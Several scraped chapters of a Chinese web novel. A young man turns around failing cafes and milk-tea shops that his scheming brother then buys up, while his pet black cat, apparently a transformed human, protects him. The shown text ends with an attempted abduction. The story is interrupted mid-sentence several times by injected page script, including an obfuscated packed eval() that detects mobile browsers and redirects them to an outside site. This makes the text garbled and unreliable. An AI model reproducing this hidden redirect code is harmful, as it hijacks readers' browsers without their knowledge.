沈南风不动声色做了个深呼吸,调整好心态,微微一笑,主动上前,“卫少好,我是沈南风,今天过来面试副店长的职位。”
“我知道,那个谁已经跟我说过了。”卫御廷上下打量着沈南风的穿着,露出嫌弃的神色,“你好歹也是沈家正儿八经的少爷,怎么穿得这么寒酸?”
沈南风:“......”
他这身行头是昨天为了上班特意买的,还有点小贵,哪里寒酸了?
但考虑到眼前这人是给他发钱的老板,沈南风并没有反驳对方的话,只露出一个标准的微笑。
卫御廷摆了摆手,“算了,以后你提前换好制服再来上班,免得拉低了我这家店的档次。”
沈南风忽略对方言语中的攻击,继续保持微笑,“好的。”
卫御廷哼了一声,对他的态度还算满意,紧接着,又转向赵茗。
赵茗知道卫御廷什么德行,因此今天从头到脚都是高定。
卫御廷挑不出任何错,有些不爽。
他撇了撇嘴,语气满是不屑,“真不知道现在的女人怎么回事,一个两个的不好好在家相夫教子,净爱干些抛头露面的事,要是你那个法子没用,报酬我可是一分钱都不会给。”
赵茗忽略卫御廷那些不中听的话,只抓住重点,微笑答道,“这是自然。”
“行了,那你就去找那个谁领制服,换好后直接上班吧。”卫御廷指了指沈南风,说完,直接起身。
他掸了掸衣服上并不存在的灰尘,看都没看赵茗跟沈南风一眼,径自往外走。
卫御廷离开后,沈南风和赵茗对视一眼。
不过担心这间办公室里会有监控,他们并没有对卫御廷的言行做出什么点评。
走出办公室,赵茗看了下时间,“那你好好工作,我先走了。”
“好。”沈南风弯了弯唇,“茗茗姐再见。”
目送赵茗离开,沈南风去找了店长,换上制服就开始工作。
这家咖啡店没什么客人,工作并不繁忙。
员工们都在摸鱼,沈南风也没有特立独行,只不过他没有在网上瞎溜达,而是翻找出昨天特意下载的有关咖啡相关的知识,继续恶补。
吃完饭,沈南风觉得理论知识掌握得差不多了,便想跟着老员工学习如何使用咖啡机制作咖啡。
老员工看着年轻俊俏还是空降的新人,很是不乐意,担心教会徒弟饿死师父。
无奈店长还在,他只能垮着脸心不甘情不愿手把手教沈南风。
沈南风从小就在别人的白眼中长大,因此察言观色很有一套,拉近关系也是各种老手。
他没有在意对方不友善的态度,而是表现得非常恭敬,时不时恭维一下。
老员工被他捧得心情舒畅,渐渐地,脸上也带了几分笑,指导得越来越认真。
店长眉梢微挑,却也没有过多干涉,就在旁边看着。
沈南风深谙吃人嘴短,拿人手软的道理,等差不多摸透了店里的咖啡机和所有咖啡的做法,他询问了一下店长,自掏腰包购买店里的原材料做了些甜品请大家品尝。
他手艺不错,咖啡店员工们都赞不绝口。
美食和恭维双
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
管齐下,原先那种古怪的气氛瞬间荡然无存,气氛也变得热络起来。
晚上七点多,沈南风穿着咖啡店的制服,手里拎着几个印着咖啡店logo的纸袋走出地铁站。
冷风一吹,他忍不住打了个哆嗦。
沈南风搓了搓胳膊,看着高悬天际的明月,神色有些惆怅。
跟人打交道真的好累,果然,他还是更喜欢躺平。
沈南风叹了一口气,正要迈步往前走,旁边的灌木丛里突然传出窸窸窣窣的声响。
他脚步一顿,眼中不自觉带了几分紧张与期盼。
当那张镶嵌着祖母绿猫瞳的毛毛脸出现在视线中时,沈南风忍不住捂住嘴,语气中满是惊喜的意味,“球球,你是来接我回家的吗?”
黑猫抖掉身上沾着的枯叶和杂草,尾巴尖儿轻轻翘了翘。
仿佛即将熄灭的火堆被人投放进大量柴火,沈南风整个人瞬间容光焕发,脸上的笑也越发灿烂。
黑猫被他灼热的视线弄得有些不好意思,耳朵下压成飞机耳,尾巴也环住jiojio。
不过在沈南风伸手想抱它回去的时候,看着对方手里的几个纸袋,以及想到出站时略显沉重的步伐,它还是灵巧躲开了。
黑猫快走几步,回头看了沈南风一眼。
沈南风又一次被黑猫暖到,嘿嘿一笑,迈着轻快的步伐跟了上去。
黑猫被他快乐的情绪感染,尾巴高高翘起,尾巴尖儿也一晃一晃的,像极了风中的狗尾巴草。
路上沈南风接到赵茗的电话,黑猫五感灵敏,哪怕沈南风没有开免提,它也能听清赵茗的声音,“怎么样,南风,第一天上班感觉如何,有人为难你吗?”
“还不错,同事挺好相处的,教了我很多东西,我下午不仅学着制作咖啡,还尝试了新的甜品,大家都说味道不错。”沈南风眼弧微弯,“茗茗姐哪天要是有空,可以过来坐坐,看看我手艺有没有退步?”
赵茗轻笑,“行,我有空一定去。”
沈南风神情也柔和了许多。
赵茗等了一会儿,不见沈南风说其他的,便主动询问,“对了,你不生气吗?”
沈南风疑惑,“生气什么?”
“就是今天在办公室,卫御廷贬低你的那些话。”赵茗道,“他都那样了,你还愿意继续给他打工?”
黑猫眉头微蹙,仔细打量着沈南风的神情。
它安排这些只是想名正言顺给自家铲屎官送钱,可不是让沈南风给其他人当受气包的!
电光火石间,黑猫心里已经有了无数种针对卫御廷的方案!
21.第 21 章
沈南风先是一愣,随即莞尔,“还好吧,卫少他只是嘴巴毒了点,其实也没说错,跟他的着装比起来,我这身行头确实寒酸,不过只要他不给我画大饼,钱到位,其他什么都好说。”
说完,他摸了摸鼻子,有些不好意思,“就是茗茗姐,今天受委屈了。”
“我有什么好委屈的?”赵茗忍俊不禁,“这世上歧视女人的男人多了去了,比起那些想占我便宜的人渣,他好歹没动手动脚,要是所有合作对象都能像他一样大方,我会更高兴哦。”
“放心,我可不是那种会因为别人三言两语就哭鼻子的幼稚鬼,比起意气用事,我更喜欢狠狠地从他们身上咬下一大块肉,等我自己变厉害了,到时候怎么报复回去还不是我说了算?”
黑猫眉梢微挑,对赵茗的欣赏又多了几分。
这样一个人才,等它能变回人,必须好好利用,不然岂不是浪费了赵茗的魄力与才干?
它也很好奇,赵茗到底能走到哪一步。
至于自家铲屎官......
虽然某些方面跟赵茗很相似,但本质还是一条不想努力的咸鱼,没什么崇高的理想和抱负,只想赚够钱然后躺平。
左右有它护着,也出不了什么大事。
然而,flag不能乱立,就像影视节目里说完“等这次xx结束,我就xxx”的人一般都回不来一样,黑猫很快也被啪啪打脸了。
沈南风工作一段时间后,对咖啡店的经营模式有了一定的了解。
与此同时,他也有了自己的成算。
这天下班,沈南风没有直接回家,而是找到店长,想问问对方能不能调整一下菜单,并且想对人员安排做出一些调动。
店长有些惊讶,但他没敢善做主张,便去请示了卫御廷。
卫御廷接到店长的电话,特别不耐烦。
他当初弄这家咖啡店就是想为了跟自家老头子证明自己有足够的实力接受家族产业,这才不惜斥巨资租下市中心最繁华的地段,花重金进行装修,并且不管是咖啡机还是原料,甚至是餐具,都是国外空运过来的,价值不菲。
谁成想也就刚开业那段时间有不少人过来凑热闹,其中大部分更是被昂贵的价格吓退。
时间一长,这家店更是门可罗雀,让他狠狠丢了个大脸。
只不过卫御廷死要面子,强撑着自掏腰包维持店里的运营,说什么都不肯转租出去。
就在他这么多年积攒下来的钱都被消耗殆尽,甚至动了卖掉心爱豪车的念头时,赵茗突然找上他,说可以让他用这家咖啡店大赚一笔,并且让他在老头子面前重新捡回脸面。
卫御廷本来很不耐烦,以为又是个看他笑话的。
但是赵茗口才太好,说得他热血上头,当即就签下了合同。
等人离开,恢复冷静,他又后悔了。
不过还是那句话,卫御廷要面子,拉不下脸撕毁合约,只能硬着头皮继续熬着。
他现在听到“咖啡”两个字就反胃,满脑子都是赶紧把这个烫手山芋丢出去,哪儿还乐意为了咖啡店的经营费心思?
沈南风对顺毛撸这一套非常熟练,先安抚了卫御廷的情绪,然后条理清晰地说明了自己的想法,最后分析利弊,在这过程中还不断夸赞卫御廷的审美和魄力,并且将锅甩给初次尝试没经验上。
哪怕卫御廷身为卫家独子,身边不乏有奔着他的家世谄媚讨好的,还是被沈南风捧得飘飘然。
他心情很好地同意了沈南风的方案,想着反正现在情况不能再糟糕了,沈南风爱折腾就折腾去。
得到卫御廷的首肯,沈南风便热火朝天地忙活了起来。
经过这些天的相处,他把店里每个人的性格和能力都了解得一清二楚,然后安排到更合适的位置。
为了避免其他员工心生不满,沈南风提前跟店长商量过,他整理出之前半年多的净利润,承诺在这个基础上不管提升多少,都按照员工的人数平分,积极性瞬间就调动起来了。
与此同时,他还开展了新品尝鲜的活动,并且拜托赵茗带了不少名媛前来打卡。
成功的营销加上优质的服务以及实力过硬的口感还有可以大大满足普通人虚荣心的豪华装潢和餐具,多方加持下,咖啡店的客人逐渐增多,最后甚至排起长长的队伍。
不过沈南风只是想把咖啡店生意弄得好看些,将来沈博恒收购时也能多捞点钱,并没打算鞠躬尽瘁、死而后已。
因此他跟店长建议,搞起了预约制,每天最多接五十单,再多的就往后排。
店长再次请示了卫御廷,对方刚开始以为是他们花钱雇佣人假扮客人营造出生意爆火的现象借此吸引人进来,特意跑过来一看,又品尝过沈南风的手艺,哪怕出于习惯依旧死鸭子嘴硬,眼中的欣赏却是怎么都遮掩不住。
最后,卫御廷大手一挥,将咖啡店的经营全权交给沈南风,然后打包了不少甜品回家跟老头子嘚瑟去了。
沈南风并没有因为卫御廷的欣赏得意洋洋,对店长依旧恭敬,跟其他员工相处时也同往日无异,狠狠地刷了一波其他人的好感。
这家咖啡店的爆火让沈南风也进入帝都上层圈子的视野中,有那好事者,立刻乐颠颠的将这件事告知了沈博恒。
沈博恒本来就因为手里好几个项目都出了问题,不是成员被人高价挖走就是快谈成的合作被人横插一脚,整一个焦头烂额,得知沈南风跑到咖啡店当员工,来往的还都是些有头有脸人家的少爷小姐,他心中警铃大震。
弄清前因后果,沈博恒当即联系上卫御廷,想让对方开除沈南风。
卫家虽然比不上沈家,好歹也是帝都有头有脸的家族,再加上卫御廷又是个被宠坏的大少爷,向来眼高于顶,因此听到沈博恒语气中的高高在上,他登时就怒了,劈头盖脸就是一顿骂。
等挂了电话,卫御廷才想起来当初招聘沈南风就是为了将咖啡店顺利盘出去,瞬间心虚。
但让他跟沈博恒道歉还不如杀了他。
卫御廷冥思苦想半天,最终决定当做什么都没发生。
左右咖啡店生意不错,虽然还要很长一段时间才能回本,到底不用他继续砸钱供着。
要是沈博恒被他那一骂放弃收购,大不了他让赵茗入股,再给沈南风加工资就是了。
不过卫御廷显然低估了沈博恒对沈南风的忌惮,虽然被骂很不爽,但是沈家跟卫家的业务没什么交集,想要直接天凉卫破很难,还是低了头。
当然,在听到卫御廷的报价时,沈博恒气血上涌,差点直接厥过去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13793162|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但是收到卫御廷对那家咖啡店的前期投入以及目前的经营情况,他也不得不承认,卫御廷没有狮子大开口。
沈博恒没有正儿八经涉足过餐饮行业,因此跟当初的卫御廷一样,完全不清楚优秀的咖啡师、甜品师之类的存在才是一家餐饮店的灵魂。
因此哪怕知道很多客人都对沈南风的手艺赞不绝口,他也没往心里去,还想着等自己咬咬牙盘下那家店,让沈南风失业,依旧能继续平稳地经营下去,这样自己也不亏。
于是,经过一番拉扯,最后这家咖啡店以高出卫御廷心理预期无数倍的价格转给了沈博恒。
沈博恒为了摧毁沈南风的意志,也为了扬眉吐气,签完合同后第一时间就进到了那家咖啡店。也看到了正在认真制作甜品的沈南风。
不知怎的,他突然回想起沈南风刚回沈家时,也尝试过下厨。
但沈南风长在乡野,很多昂贵的食材都不认识,也不知道怎么处理,闹了不少笑话。
沈南风始终没有放弃,依旧坚持着,手艺也越来越好,还会根据时令和个人口味不同炖一些药膳帮家里人改善身体......
沈博恒忍不住握拳,合同被揉捏发出的声音唤回了他的神志。
沈博恒深吸一口气,目光又重新变得凌厉起来。
可他刚要进入咖啡店,就被穿着制服的员工微笑着拦了下来,“不好意思,这位先生,请问您有预约吗?”
沈博恒轻蔑地瞥了他一眼,晃了晃手里攥着的合同,“从今天起,我就是这家店的老板,过来视察还要预约?”
员工一愣,下意识看向沈南风。
然后就发现了不对劲。
眼前这个西装革履、一副精英做派的男人,怎么跟沈南风长得有点像?
沈博恒没管这个员工怎么想,径自走到正在制作咖啡的沈南风面前,嘴角扬起一抹讥讽的弧度,“先是卖酒,又是卖咖啡的,离了沈家,你就只能干这种上不了台面的工作?”
沈南风已经提前收到赵茗的通知,对沈博恒的到来并不惊讶,只有条不紊地做好甜品,让负责送餐的员工拿给客人,这才不急不缓道,“沈先生的来意我知道了,等工资结清,我立刻走人。”
沈博恒看着他淡然的模样,突然有种一拳打到棉花上的无力感,脸色顿时变得更加阴沉。
沈南风冲他笑了笑,解开身上的围裙,然后对其他员工点了下头。
从店长那里拿到这段时间的工作所得,沈南风换上自己的衣服,离开咖啡店的时候,想到跟赵茗的合作,脚步一顿。
沈博恒以为他是想服软,刚要摆架子。
沈南风眼弧微弯,声音虽然温柔,但每一个字都充满了挑衅的意味,“帝都餐饮店这么多,我很好奇沈先生有多大的能耐让我真的找不到稳定的工作?”
沈博恒勃然大怒。
可他话还没出口,沈南风已经推开门,径自走了出去。
离开咖啡店,想到很快就有一大笔钱到手,明天不用一大早起来赶地铁,沈南风嘴角就控制不住地上扬起来。
这种好心情在看到地铁口外迎接自己的黑猫时,更是到达了巅峰。
沈南风一把举起黑猫,然后在它额上落下一吻,语气格外欢快,“哈哈,球球,我自由啦!”
22.第 22 章
黑猫这几天亲眼瞧着沈南风为了那家店忙忙碌碌,还以为他被辞退了会难过,都开始思考要不干脆自己把那家咖啡店盘下来,直接送给沈南风,让他安安心心当店长,就听到这话。
它仔细观察沈南风的表情,见他是发自内心感到高兴,而不是苦中作乐,紧绷的身体微微放松,尾巴尖儿也轻轻翘了翘。
沈南风不知道黑猫心中所想,还在欢快地跟它说着今天遇到的趣事。
进到家属院,看到秦家门口停着的那辆红色法拉利,沈南风“哇哦”一声,眼睛瞬间亮了!
黑猫被他这副财迷模样逗笑,那双漂亮的祖母绿眸子里也盈满了温柔。
沈南风迫不及待进了屋,彼时赵茗正陪着秦老爷子说话,小豆丁则是抱着个苹果吃得津津有味。
听到脚步声,两大一小齐齐抬头。
小豆丁惊喜地喊了一声“大哥哥”,就要往沈南风身上扑。
秦老爷子眼疾手快一把抓住小豆丁,满脸嫌弃,“也不看看你身上多埋汰,老老实实坐着!”
小豆丁低头瞅了一眼满是苹果汁的手和脏兮兮的衣服,嘿嘿一笑,但是眼睛却亮晶晶盯着沈南风,跟个看到主人的小狗崽儿似的。
沈南风眼弧微弯,先打了个招呼,将黑猫放到地上,然后揉了揉小豆丁软乎乎的小脑袋。
“行了,你们聊吧,我去做饭。”秦老爷子知道他们有事要谈,摆了摆手,直接起身。
沈南风想帮忙,被他不耐烦地轰回了客厅。
他清楚秦老爷子的脾气,便也没坚持。
“阳阳,我有事跟你大哥哥聊,你去厨房陪爷爷好不好?”赵茗担心小豆丁年纪太小,不知道什么能说什么不能说,笑眯眯道。
小豆丁看看赵茗,又瞅瞅沈南风,不知道想到什么,黑葡萄似的大眼睛瞪得圆滚滚。
他连忙点头,然后跳下椅子,哒哒哒跑去了厨房。
沈南风:“......”
赵茗:“......”
不知道怎么回事,他们总感觉小豆丁可能脑补了什么乱七八糟的东西。
不过天大地大,分钱最大。
赵茗递过来一个厚厚的牛皮纸信封,压低声音道,“喏,这是之前承诺好给你的。”
沈南风有些惊讶,“这么多?”
“本来没有这么多的,但这不都多亏了你让咖啡店的生意起死回生?”赵茗俏皮地眨了眨眼。
黑猫听到这话,脊背微微挺直,满脸与有荣焉。
可不是,它家铲屎官能不厉害吗?
“这也多亏了茗茗姐给我这个机会,不然光靠我自己,可找不到这样的工作。”沈南风语气十分真诚。
赵茗笑着调侃道,“咱俩这算不算商业互吹?”
沈南风故作正经,“真心话应该不算商业互吹?”
赵茗笑够了,这才继续话题,“你接下来有什么安排,继续,还是收手?”
沈南风看着桌上的牛皮纸信封,有些迟疑,“我要是收手,顾先生那边?”
赵茗也想到这茬,眉头微蹙,“我找个合适的时机帮你问问,你这边已经做成了一次,应该没问题?”
黑猫看着两人凝重的神情,烦躁地甩了甩尾巴。
虽然它在外的风评向来不好,可沈南风也这样小心翼翼的,让它特别不爽。
黑猫磨了磨后槽牙,默默将这件事也记到小本本上。
呵呵,等它变成人形了,非得好好问问沈南风自己到底吓不吓人不可!
沈南风感觉一股寒意从尾椎骨传到了天灵盖,忍不住打了个哆嗦。
不过这样一来,他也清醒了许多,想了想,对赵茗道,“茗茗姐,还是继续吧,反正这件事对咱俩又没什么损失,沈博恒吃几次亏大概就会老实了,到时候顾先生保不齐也觉得没意思,就不用继续了。”
赵茗想了想,发现确实是这么个道理,她脸上又扬起笑容,“这样也好,省得咱俩惹怒了那位,被宰了当花肥。”
沈南风噗嗤一笑。
黑猫则是满脸冷漠,尾巴也甩得啪啪作响。
它以前没有把人宰了当花肥这个爱好,现在倒是可以拿赵茗练练手!
赵茗突然感觉到杀意,条件反射看向黑猫。
对上那双凶戾的菜刀眼,她连忙伸手戳沈南风,想让这个猫猫滤镜一万米厚的铲屎官好好看清那只邪恶黑猫的真面目!
沈南风不明所以,但还是乖乖照做。
可等他看过去时,黑猫已经偏过头去,一副什么都没发生的样子。
赵茗嘴角微微抽搐,吐槽道,“啧,你家猫怎么还有两幅面孔?”
沈南风忍俊不禁,语气中却满是纵容与宠溺,“不管球球有几副面孔,我都很喜欢哦。”
赵茗嘴角微微抽搐,只觉得沈南风没救了。
黑猫则是害羞得用尾巴环住jiojio,耳廓也变得通红。
赵茗深深地叹了一口气,无奈道,“算了,你开心就好。”
回应她的,是沈南风弯弯的眉眼。
赵茗摸了摸下巴,“不过你现在手里的钱应该够在二线城市买一套房了,如果去三线城市或者小镇,几十万买套房,只要钱贬值得不严重,按照你的消费水平,直接躺平不是问题,赚够钱之后有什么打算?”
沈南风目光不由自主落到厨房那里,听着油烟机的声音和小豆丁叽叽喳喳,有些犹豫。
如果是之前,他肯定二话不说带着黑猫离开房价物价都很醉人的帝都,找一个宜居的小城市定居。
可这段时间相处下来,他是真的跟秦老爷子和小豆丁有了感情,也实在放心不下这一老一少。
纠结片刻,沈南风试探性问道,“茗茗姐,你觉得我有可能在这附近买房吗?”
赵茗听到这个回答,先是一愣,随即笑容真诚了许多,“这边的房子可不便宜,你得加油好好干了。”
她说完,又补充道,“不过你放心,我会帮忙的,就算将来没办法薅羊毛,我赚钱的门路还挺多,你要是愿意,可以将一部分委托给我,到时候咱们再讨论分成。”
沈南风连忙摆手,“这怎么行,我不能占你便宜。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13799167|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“顺便的事,就算没有你也有别人,你不用有太大的心理负担。”赵茗莞尔,“更何况,要不是因为我,你压力也不会这么大不是?”
沈南风见她话都说到这份上,知道再推辞就有些说不过去了。
因此他不好意思地笑了笑,再次郑重道谢。
黑猫静静看着两人再次达成合作,轻轻哼了一声,尾巴尖儿却愉快地翘了翘。
“对了,卫御廷让我给你带话,他说他很欣赏你,问你有没有兴趣到他手底下办事。”赵茗一拍脑袋,突然想到这茬,便顺嘴问了。
黑猫眼神瞬间变得犀利起来,弯刀形状的尖锐指甲也克制不住地从爪垫里探出了头。
沈南风:“哎?”
“他开的月薪还行,有这个数。”赵茗比了个数字,“虽然跟咱们的分成比少了点,但胜在稳定,而且他那个人特别要面子,绝对不可能因为被沈博恒威胁就开除你,要不是因为这点,我也不会拿他试水。”
沈南风被赵茗最后一句话逗笑,但也不得不承认她在挑选合作对象时真的很用心。
“所以,你觉得怎么样?”赵茗问道。
“呃,多谢卫少抬爱?”沈南风试探着回答道,“这个机会还是让给其他人吧,我就算了。”
黑猫听到这话,狠狠地松了一口气。
虽然它经常吐槽沈南风烂好心还有些怂,但不可否认,对方不管是外貌身材亦或者性格能力,都特别吸引人。
哪怕是它,刚开始被沈南风捡到时确实抱有十二万分的警惕,这么长时间相处下来也忍不住将沈南风划分到自己人的阵营,不容许任何人欺负他。
这要是真的到卫御廷手底下干事,怕是没多久就能把那个没脑子的富二代迷得五迷三道,万一脑子抽风,追求不得想要强取豪夺......
黑猫看着自己不争气的猫爪,再次愤怒。
可恶,它到底什么时候才能重新变回人形?
赵茗轻笑,“知道了,我会帮你回绝的,不过那个被宠坏的大少爷估计会不爽很久。”
沈南风耸了耸肩,满脸无所谓,“无所谓,就算他气不过,跑过来针对我,估计没多久就会失去兴趣,总比让我每天都应付他要好。”
他可以暂时为了钱低头,但不能一天二十四小时都为钱低头,这是底线。
“也是。”赵茗点点头。
“行了,你们两个聊完了就来帮忙端菜!”油烟机的声音停了下来,秦老爷子在厨房吆喝了一声。
沈南风跟赵茗相视一笑,然后起身去厨房帮忙。
几分钟后,黑猫蹲坐在卧室桌子上,看着猫碗里热腾腾的大闸蟹鸡肉卷,听着餐厅里的欢声笑语,尾巴都耷拉下来。
随着身体的逐渐恢复,它也能感觉到自己是可以恢复人形的,可不管怎么努力,都感觉还差一点什么。
虽然当猫很好,只能当猫却万万不行。
比起只能让沈南风费心照顾,它更想名正言顺出现在沈南风面前,帮他解决掉所有麻烦,让他不用为了钱和权势向任何人低头!
23.第 23 章
沈南风在家歇了两天,不久后在赵茗的介绍下又入职了一个富家千金开的奶茶店。
这家奶茶店之所以亏损,是因为选址不太好,位置比较偏,再加上奶茶味道只能说中规中矩,价格也是普通的市价。
沈南风这次有了经验,在询问过那位富家千金的意见后,先是改良了奶茶的配方,又新增了一些做工精致的甜品,最后亲自动手,在墙上绘制了不少可爱的卡通小动物,桌椅板凳上面也铺上了具有同款的图案的餐布,只花了很少的成本就把奶茶店从平平无奇变得让人眼前一亮。
因为店铺定位不同,这次沈南风没有请名媛,而是跟员工一起带着自己亲手做的奶茶和甜品去了一家有名的网红公司,请了几个外形和风评都不错的网红帮忙宣传。
那家网红公司的老板在品尝过沈南风带过去的东西并且看了沈南风拍摄的店铺照片后,敏锐地嗅到了爆火的味道。
他二话不说直接拍板,甚至邀请沈南风来他的公司。
沈南风对当网红没什么兴趣,微笑着婉拒了网红公司老板的邀请。
他说话好听,并没有引起对方的不快。
在沈南风的努力下,奶茶店很快就一炮而红,但他没想到的是,自己也跟着火了,并且随着热度提升,之前酒吧和咖啡店的客人们也认出他。
然后,沈南风是豪门在逃少爷的消息也传了出去。
又一次拒绝无数星探和网红公司的邀请,并且甩开跟踪的人回到秦家,沈南风都顾不上换衣服,往床上一倒,整个人都仿佛一条失去梦想的咸鱼。
黑猫看着他这仿佛被吸干了精.气的样子,嘴角微微抽搐。
可等了这么多天,沈博恒都没个动静,它知道沈南风的性子,这人看着懒散,成天嚷嚷着要躺平,但事情要么不做,要么就要做到最好。
所以,在那家奶茶店被收购前,他绝对不会辞职。
黑猫觉得它得做些什么才行。
于是,次日上午,沈博恒正被手上的事弄得焦头烂额,助理推门进来,将沈南风那边的情况告知了他。
沈博恒当即坐不住了,立刻让人去收购那家奶茶店。
沈南风再也不用纠结是继续顶着压力上班还是干脆放弃,乐呵呵拿着钱回归自由身。
从那之后,每当沈南风将接手的店铺经营起来,沈博恒就会高价收购。
就在沈博恒洋洋得意之时,他预想中大受打击颓废沮丧的沈南风正躺在床上,看着账户上的一连串数字笑得合不拢嘴。
黑猫看着他仿佛一只掉进米缸里的小老鼠,高兴得直打滚儿,漂亮的祖母绿眸子里盈满了笑意。
但随着时间推移,沈博恒也察觉到不对劲。
明明那些店铺被沈南风接手后都经营得红红火火,他本着前人栽树后人乘凉的念头也没做什么改动,可是生意却是一天不如一天。
沈博恒起初还以为是那些员工跟沈南风有交情,自己把人逼走后心生不满,故意搞他,还把人手都换了一遍,却还是阻止不了生意变得越来越差。
想到自己这么多年的积蓄基本都砸进各种乱七八糟的店里,甚至偷偷挪用了一部分公款,沈博恒后知后觉感觉到恐惧,当即顾不上手头的那些糟心事,喊来一堆助理琢磨怎么才能把店铺重新经营起来。
可能被沈南风接手的店铺本来就是一堆烂摊子,没了沈南风的运作和手艺,不管他们怎么努力,也只能勉强亏得不是那么厉害,想要回本,简直难于登天。
最让沈博恒崩溃的是,不知怎的,这件事竟然传到了沈父耳中。
就在他以为沈父会厉声呵斥自己时,对方却慢条斯理看着这几个月来两兄弟的博弈,最后直接笑出了声。
沈博恒只觉得沈父对沈南风的欣赏仿佛一记记响亮的耳光狠狠地抽在自己脸上。
从办公室出来时,因为羞愤,他脸涨得通红,恨不得从地上找条缝钻进去。
赵茗消息灵通,很快就从沈氏集团安插的眼线——清洁工王大妈那里得知这个消息,对不能继续薅羊毛这件事深表遗憾。
沈南风倒是很知足,虽然手里的钱距离买下家属院的房子还差六十多万,但他在秦家感受到了久违的家的温暖,也完全没有寄人篱下的不安,他也没当初那么迫切地想要买房了。
这天晚上,沈南风在床上翻来覆去睡不着,索性起身,打算偷溜出去吃夜宵。
黑猫被他这怂样弄得特别无语。
但腹诽归腹诽,它还是趁着沈南风不注意悄咪咪跟了上去。
出了秦家的院子,沈南风看着高悬天际的明月,轻轻舒了一口气,然后将手往兜里一插,优哉游哉往外走。
路过保安室时,他眉眼弯弯跟值班的老刘打了个招呼,“刘叔,晚上好!”
“哟,是小沈啊,这么晚了还出去吃夜宵?”老刘笑呵呵问道。
沈南风下意识往家属院里瞅了一眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13809709|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,没见着秦老爷子,这才松了一口气,然后做了个讨饶的动作,“嘿嘿,刘叔,我回来的时候给您带瓶啤酒和下酒菜,您值班回去填饱肚子再睡,我吃夜宵这事您可千万别让秦爷爷知道了,不然他又要念叨我。”
老刘忍俊不禁,“知道啦,我不会告诉他的,你也别玩太晚,早点回来。”
“好嘞!”沈南风笑眯眯应了一声,离开家属院,往小吃街那边走去。
老刘看着他欢快的背影,笑着摇了摇头。
黑猫站在墙头,将两人的互动尽收眼底,心中多了几分思量。
它做事向来讲究效率,也不喜欢跟无关紧要的人产生过多的接触,平时除了打扫卫生和汇报工作,它绝对不容许任何人在自己的领地停留,因此总是孤身一人。
可这段时间跟沈南风相处下来,它也有了些许改观。
不过想到从小身边就群狼环伺,它要是警惕心不强,现在坟头草估计都有三丈高。
黑猫甩了甩尾巴,重新迈开步伐,跟上沈南风。
眼瞧着小吃街近在眼前,空气中都飘散着各种美食的香味,沈南风正高兴呢,小巷里突然伸出一只手,将他直接拽了进去!
沈南风还没反应过来怎么回事,一条带着刺激性味道的湿毛巾便糊到脸上,口鼻被捂得严严实实!
他知道自己不能呼吸,可那人明显是个练家子,不管是钳制住他的技巧还是力道都让他完全无法动弹。
就在沈南风震惊恐惧之际,束缚住他的那人突然发出一声惨叫,紧接着,牢牢扣住他手腕的手也随之松开。
沈南风顾不上思考到底发生了什么,出于求生本能挣开那人,跌跌撞撞往小巷外跑。
距离这里不远就是小吃街,刑警大队家属院也就隔着两条街,刚刚那人的惨叫肯定引起了不少人的注意,只要他.......
就在沈南风即将逃出生天时,巷口处出现了一个穿着黑色皮夹克的男人。
沈南风以为对方是听懂动静前来帮助自己的,正要开口求助。
可尽管背光,看不清那人的表情,从那不耐烦地“啧”了一声和直接伸手抓他的动作能够明显感觉到对方是敌非友。
沈南风心猛地一沉,知道自己今天怕是凶多吉少了,与此同时,方才吸入的药物也逐渐发挥效用,他身体逐渐发软,意识也变得模糊。
最后的记忆是一个高大的身影从身旁掠过,直直扑向歹徒的同伙!